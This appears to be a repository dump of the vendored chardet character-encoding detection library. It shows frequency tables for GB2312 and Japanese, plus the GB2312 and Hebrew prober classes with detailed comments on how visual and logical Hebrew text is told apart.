203,3173,4170,1907,3890, 810, 1401,2003,1690, 506, 647,1242,2828,1761,1649,3208,2249,1589,3709,2931,5156,1708, 498, 666,2613, 834,3817,1231, 184,2851,1124, 883,3197,2261,3710,1765,1553,2658, 1178,2639,2351, 93,1193, 942,2538,2141,4402, 235,1821, 870,1591,2192,1709,1871, 3341,1618,4126,2595,2334, 603, 651, 69, 701, 268,2662,3411,2555,1380,1606, 503, 448, 254,2371,2646, 574,1187,2309,1770, 322,2235,1292,1801, 305, 566,1133, 229, 2067,2057, 706, 167, 483,2002,2672,3295,1820,3561,3067, 316, 378,2746,3452,1112, 136,1981, 507,1651,2917,1117, 285,4591, 182,2580,3522,1304, 335,3303,1835,2504, 1795,1792,2248, 674,1018,2106,2449,1857,2292,2845, 976,3047,1781,2600,2727,1389, 1281, 52,3152, 153, 265,3950, 672,3485,3951,4463, 430,1183, 365, 278,2169, 27, 1407,1336,2304, 209,1340,1730,2202,1852,2403,2883, 979,1737,1062, 631,2829,2542, 3876,2592, 825,2086,2226,3048,3625, 352,1417,3724, 542, 991, 431,1351,3938,1861, 2294, 826,1361,2927,3142,3503,1738, 463,2462,2723, 582,1916,1595,2808, 400,3845, 3891,2868,3621,2254, 58,2492,1123, 910,2160,2614,1372,1603,1196,1072,3385,1700, 3267,1980, 696, 480,2430, 920, 799,1570,2920,1951,2041,4047,2540,1321,4223,2469, 3562,2228,1271,2602, 401,2833,3351,2575,5157, 907,2312,1256, 410, 263,3507,1582, 996, 678,1849,2316,1480, 908,3545,2237, 703,2322, 667,1826,2849,1531,2604,2999, 2407,3146,2151,2630,1786,3711, 469,3542, 497,3899,2409, 858, 837,4446,3393,1274, 786, 620,1845,2001,3311, 484, 308,3367,1204,1815,3691,2332,1532,2557,1842,2020, 2724,1927,2333,4440, 567, 22,1673,2728,4475,1987,1858,1144,1597, 101,1832,3601, 12, 974,3783,4391, 951,1412, 1,3720, 453,4608,4041, 528,1041,1027,3230,2628, 1129, 875,1051,3291,1203,2262,1069,2860,2799,2149,2615,3278, 144,1758,3040, 31, 475,1680, 366,2685,3184, 311,1642,4008,2466,5036,1593,1493,2809, 216,1420,1668, 233, 304,2128,3284, 232,1429,1768,1040,2008,3407,2740,2967,2543, 242,2133, 778, 1565,2022,2620, 505,2189,2756,1098,2273, 372,1614, 708, 553,2846,2094,2278, 169, 3626,2835,4161, 228,2674,3165, 809,1454,1309, 466,1705,1095, 900,3423, 880,2667, 3751,5258,2317,3109,2571,4317,2766,1503,1342, 866,4447,1118, 63,2076, 314,1881, 1348,1061, 172, 978,3515,1747, 532, 511,3970, 6, 601, 905,2699,3300,1751, 276, 1467,3725,2668, 65,4239,2544,2779,2556,1604, 578,2451,1802, 992,2331,2624,1320, 3446, 713,1513,1013, 103,2786,2447,1661, 886,1702, 916, 654,3574,2031,1556, 751, 2178,2821,2179,1498,1538,2176, 271, 914,2251,2080,1325, 638,1953,2937,3877,2432, 2754, 95,3265,1716, 260,1227,4083, 775, 106,1357,3254, 426,1607, 555,2480, 772, 1985, 244,2546, 474, 495,1046,2611,1851,2061, 71,2089,1675,2590, 742,3758,2843, 3222,1433, 267,2180,2576,2826,2233,2092,3913,2435, 956,1745,3075, 856,2113,1116, 451, 3,1988,2896,1398, 993,2463,1878,2049,1341,2718,2721,2870,2108, 712,2904, 4363,2753,2324, 277,2872,2349,2649, 384, 987, 435, 691,3000, 922, 164,3939, 652, 1500,1184,4153,2482,3373,2165,4848,2335,3775,3508,3154,2806,2830,1554,2102,1664, 2530,1434,2408, 893,1547,2623,3447,2832,2242,2532,3169,2856,3223,2078, 49,3770, 3469, 462, 318, 656,2259,3250,3069, 679,1629,2758, 344,1138,1104,3120,1836,1283, 3115,2154,1437,4448, 934, 759,1999, 794,2862,1038, 533,2560,1722,2342, 855,2626, 1197,1663,4476,3127, 85,4240,2528, 25,1111,1181,3673, 407,3470,4561,2679,2713, 768,1925,2841,3986,1544,1165, 932, 373,1240,2146,1930,2673, 721,4766, 354,4333, 391,2963, 187, 61,3364,1442,1102, 330,1940,1767, 341,3809,4118, 393,2496,2062, 2211, 105, 331, 300, 439, 913,1332, 626, 379,3304,1557, 328, 689,3952, 309,1555, 931, 317,2517,3027, 325, 569, 686,2107,3084, 60,1042,1333,2794, 264,3177,4014, 1628, 258,3712, 7,4464,1176,1043,1778, 683, 114,1975, 78,1492, 383,1886, 510, 386, 645,5291,2891,2069,3305,4138,3867,2939,2603,2493,1935,1066,1848,3588,1015, 1282,1289,4609, 697,1453,3044,2666,3611,1856,2412, 54, 719,1330, 568,3778,2459, 1748, 788, 492, 551,1191,1000, 488,3394,3763, 282,1799, 348,2016,1523,3155,2390, 1049, 382,2019,1788,1170, 729,2968,3523, 897,3926,2785,2938,3292, 350,2319,3238, 1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, 1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, #last 512 ) ================================================ FILE: thirdparty/chardet/gb2312prober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import GB2312DistributionAnalysis from .mbcssm import GB2312_SM_MODEL class GB2312Prober(MultiByteCharSetProber): def __init__(self): super(GB2312Prober, self).__init__() self.coding_sm = CodingStateMachine(GB2312_SM_MODEL) self.distribution_analyzer = GB2312DistributionAnalysis() self.reset() @property def charset_name(self): return "GB2312" @property def language(self): return "Chinese" ================================================ FILE: thirdparty/chardet/hebrewprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Shy Shalom # Portions created by the Initial Developer are Copyright (C) 2005 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .enums import ProbingState # This prober doesn't actually recognize a language or a charset. # It is a helper prober for the use of the Hebrew model probers ### General ideas of the Hebrew charset recognition ### # # Four main charsets exist in Hebrew: # "ISO-8859-8" - Visual Hebrew # "windows-1255" - Logical Hebrew # "ISO-8859-8-I" - Logical Hebrew # "x-mac-hebrew" - ?? Logical Hebrew ?? # # Both "ISO" charsets use a completely identical set of code points, whereas # "windows-1255" and "x-mac-hebrew" are two different proper supersets of # these code points. windows-1255 defines additional characters in the range # 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific # diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6. # x-mac-hebrew defines similar additional code points but with a different # mapping. # # As far as an average Hebrew text with no diacritics is concerned, all four # charsets are identical with respect to code points. Meaning that for the # main Hebrew alphabet, all four map the same values to all 27 Hebrew letters # (including final letters). # # The dominant difference between these charsets is their directionality. # "Visual" directionality means that the text is ordered as if the renderer is # not aware of a BIDI rendering algorithm. The renderer sees the text and # draws it from left to right. The text itself when ordered naturally is read # backwards. A buffer of Visual Hebrew generally looks like so: # "[last word of first line spelled backwards] [whole line ordered backwards # and spelled backwards] [first word of first line spelled backwards] # [end of line] [last word of second line] ... etc' " # adding punctuation marks, numbers and English text to visual text is # naturally also "visual" and from left to right. # # "Logical" directionality means the text is ordered "naturally" according to # the order it is read. It is the responsibility of the renderer to display # the text from right to left. A BIDI algorithm is used to place general # punctuation marks, numbers and English text in the text. # # Texts in x-mac-hebrew are almost impossible to find on the Internet. From # what little evidence I could find, it seems that its general directionality # is Logical. # # To sum up all of the above, the Hebrew probing mechanism knows about two # charsets: # Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are # backwards while line order is natural. For charset recognition purposes # the line order is unimportant (In fact, for this implementation, even # word order is unimportant). # Logical Hebrew - "windows-1255" - normal, naturally ordered text. # # "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be # specifically identified. # "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew # that contain special punctuation marks or diacritics is displayed with # some unconverted characters showing as question marks. This problem might # be corrected using another model prober for x-mac-hebrew. Due to the fact # that x-mac-hebrew texts are so rare, writing another model prober isn't # worth the effort and performance hit. # #### The Prober #### # # The prober is divided between two SBCharSetProbers and a HebrewProber, # all of which are managed, created, fed data, inquired and deleted by the # SBCSGroupProber. The two SBCharSetProbers identify that the text is in # fact some kind of Hebrew, Logical or Visual. The final decision about which # one is it is made by the HebrewProber by combining final-letter scores # with the scores of the two SBCharSetProbers to produce a final answer. # # The SBCSGroupProber is responsible for stripping the original text of HTML # tags, English characters, numbers, low-ASCII punctuation characters, spaces # and new lines. It reduces any sequence of such characters to a single space. # The buffer fed to each prober in the SBCS group prober is pure text in # high-ASCII. # The two SBCharSetProbers (model probers) share the same language model: # Win1255Model. # The first SBCharSetProber uses the model normally as any other # SBCharSetProber does, to recognize windows-1255, upon which this model was # built. The second SBCharSetProber is told to make the pair-of-letter # lookup in the language model backwards. This in practice exactly simulates # a visual Hebrew model using the windows-1255 logical Hebrew model. # # The HebrewProber is not using any language model. All it does is look for # final-letter evidence suggesting the text is either logical Hebrew or visual # Hebrew. Disjointed from the model probers, the results of the HebrewProber # alone are meaningless. HebrewProber always returns 0.00 as confidence # since it never identifies a charset by itself. Instead, the pointer to the # HebrewProber is passed to the model probers as a helper "Name Prober". # When the Group prober receives a positive identification from any prober, # it asks for the name of the charset identified. If the prober queried is a # Hebrew model prober, the model prober forwards the call to the # HebrewProber to make the final decision. In the HebrewProber, the # decision is made according to the final-letters scores maintained and Both # model probers scores. The answer is returned in the form of the name of the # charset identified, either "windows-1255" or "ISO-8859-8". class HebrewProber(CharSetProber): # windows-1255 / ISO-8859-8 code points of interest FINAL_KAF = 0xea NORMAL_KAF = 0xeb FINAL_MEM = 0xed NORMAL_MEM = 0xee FINAL_NUN = 0xef NORMAL_NUN = 0xf0 FINAL_PE = 0xf3 NORMAL_PE = 0xf4 FINAL_TSADI = 0xf5 NORMAL_TSADI = 0xf6 # Minimum Visual vs Logical final letter score difference. # If the difference is below this, don't rely solely on the final letter score # distance. MIN_FINAL_CHAR_DISTANCE = 5 # Minimum Visual vs Logical model score difference. # If the difference is below this, don't rely at all on the model score # distance. MIN_MODEL_DISTANCE = 0.01 VISUAL_HEBREW_NAME = "ISO-8859-8" LOGICAL_HEBREW_NAME = "windows-1255" def __init__(self): super(HebrewProber, self).__init__() self._final_char_logical_score = None self._final_char_visual_score = None self._prev = None self._before_prev = None self._logical_prober = None self._visual_prober = None self.reset() def reset(self): self._final_char_logical_score = 0 self._final_char_visual_score = 0 # The two last characters seen in the previous buffer, # mPrev and mBeforePrev are initialized to space in order to simulate # a word delimiter at the beginning of the data self._prev = ' ' self._before_prev = ' ' # These probers are owned by the group prober. def set_model_probers(self, logicalProber, visualProber): self._logical_prober = logicalProber self._visual_prober = visualProber def is_final(self, c): return c in [self.FINAL_KAF, self.FINAL_MEM, self.FINAL_NUN, self.FINAL_PE, self.FINAL_TSADI] def is_non_final(self, c): # The normal Tsadi is not a good Non-Final letter due to words like # 'lechotet' (to chat) containing an apostrophe after the tsadi. This # apostrophe is converted to a space in FilterWithoutEnglishLetters # causing the Non-Final tsadi to appear at an end of a word even # though this is not the case in the original text. # The letters Pe and Kaf rarely display a related behavior of not being # a good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' # for example legally end with a Non-Final Pe or Kaf. However, the # benefit of these letters as Non-Final letters outweighs the damage # since these words are quite rare. return c in [self.NORMAL_KAF, self.NORMAL_MEM, self.NORMAL_NUN, self.NORMAL_PE] def feed(self, byte_str): # Final letter analysis for logical-visual decision. # Look for evidence that the received buffer is either logical Hebrew # or visual Hebrew. # The following cases are checked: # 1) A word longer than 1 letter, ending with a final letter. This is # an indication that the text is laid out "naturally" since the # final letter really appears at the end. +1 for logical score. # 2) A word longer than 1 letter, ending with a Non-Final letter. In # normal Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, # should not end with the Non-Final form of that letter. Exceptions # to this rule are mentioned above in isNonFinal(). This is an # indication that the text is laid out backwards. +1 for visual # score # 3) A word longer than 1 letter, starting with a final letter. Final # letters should not appear at the beginning of a word. This is an # indication that the text is laid out backwards. +1 for visual # score. # # The visual score and logical score are accumulated throughout the # text and are finally checked against each other in GetCharSetName(). # No checking for final letters in the middle of words is done since # that case is not an indication for either Logical or Visual text. # # We automatically filter out all 7-bit characters (replace them with # spaces) so the word boundary detection works properly. [MAP] if self.state == ProbingState.NOT_ME: # Both model probers say it's not them. No reason to continue. return ProbingState.NOT_ME byte_str = self.filter_high_byte_only(byte_str) for cur in byte_str: if cur == ' ': # We stand on a space - a word just ended if self._before_prev != ' ': # next-to-last char was not a space so self._prev is not a # 1 letter word if self.is_final(self._prev): # case (1) [-2:not space][-1:final letter][cur:space] self._final_char_logical_score += 1 elif self.is_non_final(self._prev): # case (2) [-2:not space][-1:Non-Final letter][ # cur:space] self._final_char_visual_score += 1 else: # Not standing on a space if ((self._before_prev == ' ') and (self.is_final(self._prev)) and (cur != ' ')): # case (3) [-2:space][-1:final letter][cur:not space] self._final_char_visual_score += 1 self._before_prev = self._prev self._prev = cur # Forever detecting, till the end or until both model probers return # ProbingState.NOT_ME (handled above) return ProbingState.DETECTING @property def charset_name(self): # Make the decision: is it Logical or Visual? # If the final letter score distance is dominant enough, rely on it. finalsub = self._final_char_logical_score - self._final_char_visual_score if finalsub >= self.MIN_FINAL_CHAR_DISTANCE: return self.LOGICAL_HEBREW_NAME if finalsub <= -self.MIN_FINAL_CHAR_DISTANCE: return self.VISUAL_HEBREW_NAME # It's not dominant enough, try to rely on the model scores instead. modelsub = (self._logical_prober.get_confidence() - self._visual_prober.get_confidence()) if modelsub > self.MIN_MODEL_DISTANCE: return self.LOGICAL_HEBREW_NAME if modelsub < -self.MIN_MODEL_DISTANCE: return self.VISUAL_HEBREW_NAME # Still no good, back to final letter distance, maybe it'll save the # day. if finalsub < 0.0: return self.VISUAL_HEBREW_NAME # (finalsub > 0 - Logical) or (don't know what to do) default to # Logical. return self.LOGICAL_HEBREW_NAME @property def language(self): return 'Hebrew' @property def state(self): # Remain active as long as any of the model probers are active. if (self._logical_prober.state == ProbingState.NOT_ME) and \ (self._visual_prober.state == ProbingState.NOT_ME): return ProbingState.NOT_ME return ProbingState.DETECTING ================================================ FILE: thirdparty/chardet/jisfreq.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # Sampling from about 20M text materials include literature and computer technology # # Japanese frequency table, applied to both S-JIS and EUC-JP # They are sorted in order. # 128 --> 0.77094 # 256 --> 0.85710 # 512 --> 0.92635 # 1024 --> 0.97130 # 2048 --> 0.99431 # # Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 # Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 # # Typical Distribution Ratio, 25% of IDR JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0 # Char to FreqOrder table , JIS_TABLE_SIZE = 4368 JIS_CHAR_TO_FREQ_ORDER = ( 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 2042,1061,1062, 48, 49, 44, 45, 433, 434,1040,1041, 996, 787,2997,1255,4305, # 64 2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, # 80 5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, # 96 1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, # 112 5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, # 128 5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, # 144 5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, # 160 5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, # 176 5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, # 192 5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, # 208 1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, # 224 1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, # 240 1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, # 256 2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, # 272 3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161, 26,3377, 2,3929, 20, # 288 3691, 47,4100, 50, 17, 16, 35, 268, 27, 243, 42, 155, 24, 154, 29, 184, # 304 4, 91, 14, 92, 53, 396, 33, 289, 9, 37, 64, 620, 21, 39, 321, 5, # 320 12, 11, 52, 13, 3, 208, 138, 0, 7, 60, 526, 141, 151,1069, 181, 275, # 336 1591, 83, 132,1475, 126, 331, 829, 15, 69, 160, 59, 22, 157, 55,1079, 312, # 352 109, 38, 23, 25, 10, 19, 79,5195, 61, 382,1124, 8, 30,5196,5197,5198, # 368 5199,5200,5201,5202,5203,5204,5205,5206, 89, 62, 74, 34,2416, 112, 139, 196, # 384 271, 149, 84, 607, 131, 765, 46, 88, 153, 683, 76, 874, 101, 258, 57, 80, # 400 32, 364, 121,1508, 169,1547, 68, 235, 145,2999, 41, 360,3027, 70, 63, 31, # 416 43, 259, 262,1383, 99, 533, 194, 66, 93, 846, 217, 192, 56, 106, 58, 565, # 432 280, 272, 311, 256, 146, 82, 308, 71, 100, 128, 214, 655, 110, 261, 104,1140, # 448 54, 51, 36, 87, 67,3070, 185,2618,2936,2020, 28,1066,2390,2059,5207,5208, # 464 5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, # 480 5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, # 496 5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, # 512 4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, # 528 5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, # 544 5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, # 560 5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, # 576 5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, # 592 5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, # 608 5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, # 624 5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, # 640 5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, # 656 5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, # 672 3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, # 688 5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, # 704 5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, # 720 5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, # 736 5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, # 752 5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, # 768 5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, # 784 5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, # 800 5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, # 816 5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, # 832 5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, # 848 5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, # 864 5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, # 880 5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, # 896 5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, # 912 5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, # 928 5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, # 944 5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, # 960 5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, # 976 5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, # 992 5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008 5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024 5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040 5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056 5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072 5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088 5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104 5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120 5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136 5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152 5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168 5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184 5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200 5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216 5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232 5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248 5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264 5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280 5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296 6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312 6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328 6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344 6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360 6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376 6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392 6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408 6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424 4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472 1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619, 65,3302,2045, # 1488 1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520 3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536 3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568 3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584 3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616 2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648 3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664 1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696 1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728 2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744 2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760 2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776 2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792 1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808 1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824 1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840 1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856 2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872 1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888 2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904 1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920 1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936 